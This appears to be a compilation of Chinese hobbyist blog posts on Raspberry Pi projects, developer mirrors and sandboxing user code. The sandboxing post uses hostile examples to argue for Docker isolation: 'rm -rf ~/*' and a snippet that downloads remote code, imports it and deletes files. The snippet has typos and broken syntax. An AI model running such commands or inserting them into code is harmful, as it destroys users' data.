用树莓派Pico W创建自己的Slack机器人

原作:Sandeep Mistry 

编译:IoT前哨站

Slack是一款在线协作软件,可以让你与团队成员进行聊天、文件传送、语音/视频通话等功能。Slack还可以整合多种工具和服务,如电子邮件、Google Drives、Twitter、Trello等,以提高工作效率和自动化任务。Slack是世界各地公司和个人的首选平台,拥有超过20万付费客户和77个财富100强企业的使用者。它有App方便大家在手机或平板电脑上使用。

这次要实现的树莓派Pico W远程控制机器人,简单来说,就是我们在手机上用Slack发消息,指挥Pico W帮我们干活。

Slack 的 chat.postMessage API 可将消息从开发板发送到 Slack 频道。Slack 为应用和机器人提供了一个事件 API,用于响应 Slack 上的活动。由于开发板不能从公共互联网直接访问,因此无法使用公共 HTTP webhook。我们必须使用Slack 的Socket Mode。Socket Mode使应用和机器人能够使用动态的WebSocket 接收事件。动态套接字连接的URL可以通过Slack的apps.connections.open API获取。

Pico W与Slack API 接收事件和发送消息的通信机制:

要完成上述操作,你必须先有Slack令牌。

配置 Slack

在 Web 浏览器中,访问 https://api.slack.com/apps 并使用您的 Slack 凭据登录。单击“创建新应用”按钮。

单击“从头开始”选项。

输入应用程序的名称(例如“Pico W”),为应用程序选择一个工作区,然后单击“创建应用程序”按钮。

单击左侧的“Socket Mode”部分,然后单击切换到“启用Socket Mode”。


输入应用级令牌的“Token Name”,例如“Pico W app”,然后单击“生成”按钮。

生成并显示应用级令牌,复制该值并保存以备将来使用,然后单击“完成”按钮。

单击左侧的“OAuth 和权限”部分,向下滚动到“Scopes”部分,然后单击“添加 OAuth 范围”按钮。

添加“app mention:read”权限。

添加“chat:write”权限。

单击左侧的“事件订阅”部分,然后单击“启用事件”开关。

展开“订阅bot事件”部分并单击“添加bot用户事件”按钮。

选择“app_mention”。

点击右下角的“保存更改”按钮。

点击左侧的“基本信息”部分,然后点击“请求安装”按钮。

填写“简短描述”,选择“背景颜色”,点击“保存更改”按钮

工作区管理员可以批准申请。然后转到“基本信息”部分,单击“安装到工作区”按钮。

安装完成后,单击左侧的“OAuth & Permissions”部分,滚动到“工作区的OAuth Token”部分,然后复制“Bot User OAuth Token”值并保存以供将来参考。

现在你有了一个应用程序级别的令牌值和一个Slack应用程序的Bot用户OAuth令牌值,可以在Raspberry Pi Pico W板上使用。

基于 MicroPython 的 Slack 机器人

MicroPython 为许多基于 Arm Cortex-M 的微控制器提供 Python 3 实现,包括 Raspberry Pi Pico W 板上的 Raspberry Pi RP2040。

Thonny IDE 将用于安装 MicroPython 并将代码上传到 Raspberry Pico W 板。从 Thonny 主页下载适用于您的计算机的操作系统 (OS) 专用版本的 Thonny。在撰写本指南时,Thonny 4.1.2 是最新版本。

用Thonny刷好MicroPython以后,将 GitHub 中的代码下载到计算机上的文件夹。

相关代码:

https://github.com/IoToutpost/example-of-a-slackbot-for-pico-w

打开 Raspberry Pi Pico W 板上的 config.py 文件,填写 Wi-Fi 网络的 SSID 和密码,以及之前配置的 Slack 应用和机器人令牌。

打开树莓派Pi Pico W板上的 main.py 文件,然后按绿色的播放按钮运行应用程序。如果一切配置正确,开发板现在将连接到您的 Wi-Fi 网络,然后连接到 Slack。

基于 C 语言的 Slack 机器人

对于 C 版本,以下库将与 pico-sdk 一起使用:

  • FreeRTOS 内核 – 为网络堆栈提供实时操作系统 (RTOS)
  • lwIP – 用于 TCP/IP 通信
  • Mbed TLS – 用于 TLS 通信
  • coreHTTP – 用于 HTTP 客户端
  • cJSON – 用于解析和序列化 JSON 数据

使用 Raspberry Pi 的 Pico SDK 和所需的工具链设置您的计算机。有关更多信息,请参阅 Raspberry Pi Pico 入门指南。

在终端窗口中,设置 PICO_SDK 环境变量:

export PICO_SDK_PATH=/path/to/pico-sdk

将目录更改为下载示例代码的位置,然后将目录更改为文件夹:pico-sdk

cd path/to/example-of-a-slackbot-for-pico-w

cd pico-sdk

创建一个构建目录,并将目录更改为该目录:

mkdir build

cd build

使用你的 Wi-Fi SSID 和密码以及 Slack 应用和机器人令牌运行,然后运行以编译应用程序:cmakemake

cmake .. -DPICO_BOARD=pico_w -DWIFI_SSID="<WIFI SSID>" -DWIFI_PASSWORD="<Wi-Fi Password" -DSLACK_APP_TOKEN="<Slack App Token>" -DSLACK_BOT_TOKEN="<Slack Bot Token>"

make

按住 Pico 板上的 BOOTSEL 按钮,同时使用 USB 电缆将板插入计算机。

将文件复制到挂载的Raspberry Pi Pico启动ROM磁盘:picow_slack_bot.uf2

按住 Pico 板上的 BOOTSEL 按钮,同时使用 USB 电缆将板插入计算机。

将文件复制到挂载的Raspberry Pi Pico启动ROM磁盘:picow_slack_bot.uf2

cp -a picow_slack_bot.uf2 /Volumes/RPI-RP2/.

使用串行监视器应用程序(如屏幕)查看主板的 USB 串行输出,将 /dev/cu.usbmodem00000000000001 替换为主板的路径:

screen /dev/cu.usbmodem0000000000001

如果一切配置正确,开发板现在将连接到您的 Wi-Fi 网络,然后连接到 Slack。

测试应用程序

在计算机上打开 Slack,并创建一个新的测试频道。在信息输入窗口中输入,然后点按绿色按钮或按回车键发送。@<name of Slack app> LED on

在 Slack 中向 Pico W 发送第一条消息

由于 Pico W 不在频道中,系统将提示您添加它们。点击“邀请他们”按钮。

邀请Raspberry Pi Pico W加入频道

被邀请后,开发板将点亮 LED, 然后回复消息告知状态。您也可以尝试发送消息以关闭 LED。@<name of Slack app> LED off

Raspberry Pi Pico W 在 Slack 中收到指令并回复

结论

本指南介绍了通过Raspberry Pi Pico W上运行MicroPython和C应用程序,来与Slack API发送和接收消息。

示例应用程序代码可以接收并处理消息文本,以控制板载 LED,然后将 LED 的当前状态告知用户。

你可以在自己的Raspberry Pi Pico W上尝试一下,然后在示例代码的基础上构建更多功能,从而将 Slack 扩展到物理世界。

如何安全运行别人上传的Python代码?

作者:kingname

写后端的同学,有时候需要在网站上实现一个功能,让用户上传或者编写自己的Python代码。后端再运行这些代码。

涉及到用户自己上传代码,我们第一个想到的问题,就是如何避免用户编写危险命令。如果用户的代码里面涉及到下面两行,在不做任何安全过滤的情况下,就会导致服务器的Home文件夹被清空。

import os
os.system('rm -rf ~/*')

有人想的比较简单,直接判断用户的代码里面有没有os.system、exec、subprocess……这些危险关键词不就可以了吗?

    这种想法乍看起来没有问题,但细想下,就会发现非常天真。如果用户的代码像下面这样写,你又要如何应对?

    import requests
    code = requests.get('https://www.kingname.info/dangerous_code').text
    with open('dangerous_code.py', 'w') as f:
    f.write(code)
    dangerous_module = import('dangerous_code')
    danderous_module.delete_all()

    其中https://www.kingname.info/dangerous_code对应的代码如下:

    import os
    def delete_all():
        os.system('rm -rf ~/*')

      这样就可以绕过关键字检查,并成功删除你的文件了。

      如果你的网站本身就是一个爬虫管理平台,你检查用户自定义的代码时,肯定不能过滤掉requests这种网络请求库。那么你就很难判断用户下载下来的东西是否包含恶意代码。

      而且恶意代码不一定是删除你的东西,它完全可以直接把你项目下面的所有代码打包,上传到它指定的URL中,这样就能窃取你网站里面所有代码。

      为了避免这样的情况发生,我们就必须找一个干净又独立的环境来运行用户的代码。干净的环境能确保恶意代码没有东西可以偷,独立的环境能确保他即使删除了所有文件,也不会影响到你。

      显然,最简单直接的办法,就是使用Docker来运行用户的代码。而使用Docker并不一定需要在终端使用Shell命令。我们可以使用Docker的Python SDK来实现构建镜像和运行镜像。

      首先,确保你的服务器上面已经有Docker,并且正在运行。

      接下来,安装Docker SDK:

      pip install docker

      假设,你把用户上传的文件放在了user/<user_id>/upload文件夹下面。

      那么,首先你需要生成一个Dockerfile,并把这个Dockerfile放到upload文件夹中:

      from python:3.10
      
      run pip install -r requirements.txt
      copy . /app
      workdir /app

      当用户添加/修改了第三方库时,你只需要更新requirements.txt即可让镜像里面的依赖符合用户的需求。

      接下来,我们开始构建镜像并运行代码:

      import docker
      client = docker.from_env()
      
      client.images.build(path='user/<user_id>/upload', tag='xxxspider:0.01') # tag后面的名字可以自定义
      
      container = client.containers.run('xxxspider:0.01', detach=True, command='scrapy crawl xxx', 其他参数)

      这个代码运行以后是非阻塞的,会立刻返回container对象。当你想查看代码日志时,执行:

      container.logs(tail=10) # 显示最后10行日志

      就可以看到相关的日志了。

      关于Docker SDK的更多操作,可以看他的官方文档:Docker SDK for Python — Docker SDK for Python 6.1.3 documentation[1]

      参考资料

      [1]Docker SDK for Python — Docker SDK for Python 6.1.3 documentation: https://docker-py.readthedocs.io/en/stable/index.html#docker-sdk-for-python

      树莓派Zero做的电子墨水名片

      “你好,我的名字是……”

      人们参加沙龙或者酒会的时候,经常要对别人口述自己的名字和职业。

      如果可以用电子墨水,以像素化的形式显示他们的名字和脸时,相信能节约很多时间。

      创客Josh King做的这个PiE-Ink电子墨水名片,就很有意思。

      在他的Instructables教程中,他解释了完整的方法。

      乔什·金电子墨水名牌树莓派

      对于徽章,Josh使用了Raspberry Pi Zero,PaPiRus 2“电子墨水HATAdafruit Powerboost 1000c和LiPo电池。他还用到了其它配件,例如磁铁和粘土。

      Josh把树莓派Zero和Powerboost通过焊接连在一起,并允许LiPo电池为设备供电。

      乔什·金电子墨水名牌树莓派

      然后,他连接PaPiRus HAT并用粘土固定整个装置,以确保紧密贴合。他还加了一个迷你滑动开关。

      乔什·金电子墨水名牌树莓派

      在SD卡上预装Raspbian后,Josh遵循PaPiRus的设置,确保所有库文件都装好,并且让树莓派识别2英寸屏幕。

      然后下载代码,运行……

      注:你可以直接从Josh的GitHub帐户下载相关代码。记得将图像缩小到 200×96 才能使其适合电子墨水屏幕。

      乔什·金电子墨水名牌树莓派

      有了它,你就可以在各种活动和会议上让大家快速认识你了。

      如果你想用树莓派Pico做电子墨水名片的话看这里:

      https://mp.weixin.qq.com/s/Nip6ZB60et0xujLQgNRldw

      树莓派能跑Stable Diffusion了

      Stable Diffusion是一种文本到图像生成的大型深度学习模型,它可以根据文本的描述生成详细的图像,也可以用于其他任务,如图像修复、图像扩展、图像翻译等。

      它是基于潜在扩散模型(Latent Diffusion Model)的一种变体,通过对图像添加和去除噪声来训练和生成图像。

      该模型由Stability AI和LAION联合开发,目前是一个开源的AI平台,有很多用户和开发者贡献了不同的预训练模型和插件。

      一般情况下,跑Stable Diffusion需要的配置:最好是有英伟达(Nvidia)的独立显卡,显存不少于4GB,推荐8GB以上;内存8GB以上,推荐16GB或以上;硬盘40GB以上的可用空间,最好是固态硬盘;操作系统支持Windows 10/11,macOS(仅限Apple Silicon或更新版本),Linux等。

      但最近有人在树莓派Zero 2上运行Stable Diffusion了,而树莓派 Zero 2 只是内存512MB 的单板计算机。

      它的配置和规格如下:

      • 处理器:Broadcom BCM2710A1,四核64位SoC(Arm Cortex-A53 @ 1GHz)
      • 内存:512MB LPDDR2
      • 连接性:2.4GHz IEEE 802.11b/g/n无线局域网,蓝牙4.2,BLE,带天线的屏蔽罩
      • 接口:1 × USB 2.0 OTG接口
      • HAT兼容的40针I/O头插座(未焊接)
      • microSD卡插槽
      • Mini HDMI端口
      • CSI-2摄像头连接器
      • 视频:HDMI接口
      • 复合的视频和复位引脚焊点
      • 多媒体:H.264, MPEG-4解码(1080p30)
      • H.264编码(1080p30)
      • OpenGL ES 1.1, 2.0图形
      • 输入电源:5V DC 2.5A
      • 工作温度:-20°C to +70°C

      Raspberry Pi Zero 2 W的尺寸是65mm × 30mm,与原来的Raspberry Pi Zero一样。它的性能比原来的单核Raspberry Pi Zero提高了五倍。一般用于智能家居、物联网等项目。

      为了让更多低配置的计算机也能用Stable Diffusion出图。

      一个名为vitoplantamura的开发者决定写一个超小的推理库,让260MB内存的单板机也能将Stable Diffusion跑起来。终于,他成功了。

      他用C++开发的OnnxStream,是一个能够在低内存设备上运行 Stable Diffusion 的推理库,它通过分离推理引擎和权重提供器,以及量化等技术,完成了在树莓派 Zero 2 上生成图像的挑战。

      与微软的OnnxStream 相比,vitoplantamura的OnnxStream 只需要消耗 1/55 的内存就可以达到同样的效果,但(在 CPU 上的)速度只比前者慢 0.5-2 倍。

      虽然运行速度较慢,但它却是大模型在更小、更有限的设备上部署的崭新尝试。

      相关源码:

      https://github.com/vitoplantamura/OnnxStream

      flutter包在内地安装不了怎么办?

      一般我们在flutter pub get安装包的时候,经常会遇到如下错误。

      Got socket error trying to find package coverage at http://pub.dartlang.org.

      或者

      Got socket error trying to find package flame at https://pub.dev.

      你打开浏览器访问pub.dev的时候,又可以正常访问。

      这个咋解决呢?

      如果你是Windows用户,你可以在Powershell的界面下运行:

      setx PUB_HOSTED_URL “https://mirrors.cloud.tencent.com/dart-pub”
      setx FLUTTER_STORAGE_BASE_URL “https://mirrors.cloud.tencent.com/flutter”

      这两条命令。

      如果你是Mac用户,你可以在命令行下运行:

      $ export PUB_HOSTED_URL=https://mirrors.cloud.tencent.com/dart-pub
      $ export FLUTTER_STORAGE_BASE_URL=https://mirrors.cloud.tencent.com/flutter

      之前有教程说改成这样:

      setx PUB_HOSTED_URL “https://pub.flutter-io.cn”
      setx FLUTTER_STORAGE_BASE_URL “https://storage.flutter-io.cn”

      但实际操作是无效的,现在还不知道怎么回事。

      用Pi-Timolo和树莓派做一个夜视摄像头

      安德鲁·格雷戈里 (Andrew Gregory) 发现,后花园的狗经常深夜叫唤。

      于是他用树莓派做了一个夜间摄像头,来拍下那个不断引发狗叫的神秘访客。

      要放在室外,少不了一个防雨且有一定强度的容器,这里他用到了几块厚木板。

      市场上有一系列适用于 Raspberry Pi 的摄像头,比如:Pi Camera Module 3、Raspberry Pi Global Shutter Camera、Raspberry Pi High Quality Camera 和各种热敏模块。

      但当访客在夜间到来,最好用的是 Pimoroni 等厂商提供的夜视摄像头。

      关于树莓派的选择,作者用到了Raspberry Pi Zero W,比较轻便,兼容性也很好。

      这个摄像头设在后花园,距离足够近,可以通过家庭 Wi-Fi 网络即可获取视频流。

      但作者不想拉电源线,所以需要电池供电。

      事后看来,最好是选择 USB 电池组——这种电池组可以即插即用到任何设备,并具有一定程度的保护作用。

      作者选择了 1200mAh,3.7 V LiPo 电池,它裸露且易碎,无法直接连接到 Raspberry Pi Zero W。所以需要给 Raspberry Pi Zero 添加一个 LiPo SHIM(这需要一些焊接)。

      本文提到的树莓派电池连接板,相关地址:

      把供电模块、摄像头、树莓派都接好后的状态,差不多是这样。

      装好系统,通电联网,登录系统执行如下命令进行测试:

      raspistill -v -o test.jpg

      如果一切顺利,你会看到一个图像在屏幕上闪了一两秒钟,然后颜色会变暗。那是因为夜视摄像头模块使用红外线(大多数摄像头模块会过滤掉这层光谱)。

      作者在这里使用的软件包为 Pi-Timolo(Raspberry Pi Time、Motion 和 Low light),由 Claude Pageau 开发。 

      可以执行如下命令安装(最好是update系统以后):

      curl -L https://raw.github.com/pageauc/pi-timolo/master/source/pi-timolo-install.sh | bash

      然后到一个设置界面,自行操作即可。

      不过与 Raspberry Pi Camera Module 3 的 12MP 相比,夜视摄像头上的 5MP 传感器还是有些很小,因此作者很想找到一些红外 LED 并制作自己的摄像头模块。

      来自:HackSpace 第 66 期

      树莓派+电子墨水屏+Spotify = 实时播歌

      Spotify是一个流行的流媒体服务,允许用户收听音乐、播客和有声读物。作为一个开发者,你可以使用Spotify Web API来访问Spotify的音乐目录和用户数据,并将Spotify的功能整合到你自己的应用程序中。

      如何用树莓派和5.7英寸的电子墨水屏创建一个电子相框,来实时显示你在Spotify上听的歌曲封面?说实话,这个让我想起了以前实时显示歌曲封面的CD机。

      操作步骤:

      首先你要有一个Spotify的开发者账号,注册地址:

      https://developer.spotify.com/

      在仪表盘中编辑应用程序的设置。比如:

      http://localhost/redirect

      设置完成后,登录树莓派。

      运行“raspi-config”命令,找到“Interface Options”,把SPI和I2C设置为可用。 

      下载以下文件,并在树莓派上执行。最后根据提示,填写你的Spotify账号和API信息即可。

      wget https://raw.githubusercontent.com/ryanwa18/spotipi-eink/main/setup.sh
      chmod +x setup.sh
      bash setup.sh

      相关配件:

      Raspberry Pi Zero 2
      Inky Impression 5.7

      关于外壳的3D打印文件:

      https://cults3d.com/en/3d-model/gadget/spotipi-e-ink-inky-impression-5-7-case

      相关视频地址:

      https://mp.weixin.qq.com/s/tMx-RSDyAZZMUo04oYRRqw

      远程连接AVH的主机

      这里的AVH是指Arm Virtual Hardware,可以在线访问的虚拟开发板。

      AVH支持两种模式远程登录内网的主机。

      一是OpenVPN,下载配置文件导入即可。

      二是SSH,添加密钥后即可。

      OpenVPN的比较傻瓜,这里就不赘述了。

      SSH的话,可以用以下命令:
      ssh -J c9922a0f-edcb-486d-b84f-9508262abeb1@proxy.app.avh.arm.com pi@10.11.0.1

      你也可以使用~/.ssh/config提前配置好跳转主机。

      容器化构建聆思科技CSK6开发编译环境

      聆思科技发布的新一代AI芯片CSK6,集成了安谋科技星辰“STAR-MC1”处理器。

      采用 NPU+DSP+MCU 三核异构技术,算力达到 128 GOPS。使芯片能以较低功耗满足音频及图像视频的 AI 应用需求。

      同时他们也发布了一个基于开发板的解决方案,并提供了相关工具和例程。

      为了方便大家调试、编译聆思科技CSK6开发板,我在这里构建了一个容器化编译环境。一条命令拉取即可开始编译工作。

      docker run -it verdureorange/listenai:latest

      里面自带的Lisa工具,以及相关例程均来自聆思科技官方网站。

      VERSION:

      @listenai/lisa/2.4.5 linux-x64 node-v16.14.0

      如果你正在使用聆思科技的CSK6开发板,又懒的自己配环境,可以用它试试。

      教学视频:

      容器化构建聆思科技CSK6开发编译环境_哔哩哔哩_bilibili

      镜像:

      https://hub.docker.com/r/verdureorange/listenai

      相关文章:
      带NPU和DSP的聆思科技MCU来了
      https://aijishu.com/a/1060000…

      有问题和意见可以联络:Medivh

      邮箱:verdureorange@gmail.com

      国内安装Ubuntu server速度慢的解决方法

      在本地的 vmware 虚拟机管理系统中 安装 Ubuntu 20.x 时,发现全新系统安装的特别慢。一直卡在 installing kernel /  这个页面。

      通过日志排查发现 在安装之前 系统源虽然自动切换到  http://cn.archive.ubuntu.com/ubuntu/ 这个官方系统源地址,但这个地址的数据服务器其实是在 美国数据中心,导致我们系统一直无法进行相关文件的下载。

      解决方法:

      将官方安装源:

      http://cn.archive.ubuntu.com/ubuntu/ 

      替换成 阿里云

      http://mirrors.aliyun.com/ubuntu/

      这样就可以很好的解决了 系统一直卡在安装界面中, 另外系统安装完成后,你更新 系统 以及 安装 各种组件时 都会默认使用 阿里云的镜像进行下载,而不会在通过 Ubuntu 官方的美国机器。